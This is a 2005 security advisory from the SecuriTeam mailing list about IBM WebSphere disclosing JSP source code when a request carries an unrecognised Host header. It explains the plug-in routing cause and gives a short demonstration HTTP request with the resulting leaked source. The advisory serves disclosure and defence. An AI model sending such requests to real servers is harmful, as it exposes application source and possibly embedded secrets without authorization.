The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
WebSphere Widespread's JSP Configuration Disclosure
------------------------------------------------------------------------
SUMMARY
" <http://www-306.ibm.com/software/websphere/> WebSphere is Internet
infrastructure software - known as middleware. It enables companies to
develop, deploy and integrate next-generation e-business applications,
such as those for business-to-business e-commerce, and supports business
applications from simple Web publishing through enterprise-scale
transaction processing. WebSphere transforms the way businesses manage
customer, partner, and employee relationships."
IBM WebSphere discloses the JSP source when remote user requests non
existing JSP page.
DETAILS
Vulnerable Systems:
* IBM WebSphere Application version 6 and prior.
The practice of sharing the document root of the application server within
the document root of the web server creates a security exposure that can
result in the JSP source being served up as plain text by the web server.
The plug-in has a set of rules used to determine whether a given request
will be handled by the application server. When an incoming request fails
to match those rules, the plug-in returns control to the web server so
that the web server can fulfill the request.
In this case, the unknown host header causes the plug-in to return control
to the web server because the rules don't indicate the application server
should handle it. Therefore, the web server looks for the request in the
web server document root. Since the JSP source is stored in the document
root of the web server the web server finds the file and serves it as
plain text. The following is a demonstration on how to replicate the
issue.
HTTP request sent:
GET /index.jsp HTTP/1.0
Host: NonExistentHost
HTTP response received:
HTTP/1.1 200 OK
Via: HTTP/1.1 websphereserver (IBM-PROXY)
Date: Wed, 09 Mar 2005 21:39:43 GMT
Server: IBM_HTTP_Server/1.3.12.6 Apache/1.3.12 (Unix)
Last-Modified: Tue, 01 Mar 2005 18:35:02 GMT
ETag: "515e0007-1d72-4224b5d6"
Accept-Ranges: bytes
Content-Length: 7538
Content-Type: text/plain
<%@ include file="/main/inc/alt-header-0.inc" %>
<%@ include file="includes/tabincv4.jsp" %>
<%@ include file="includes/tactic.jsp" %>
<%=headerjs%>
<jsp:include page="<%=tabhdrinc %>" flush="true"/>
ADDITIONAL INFORMATION
The information has been provided by <mailto:spilabs@spidynamics.com> SPI
Labs.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
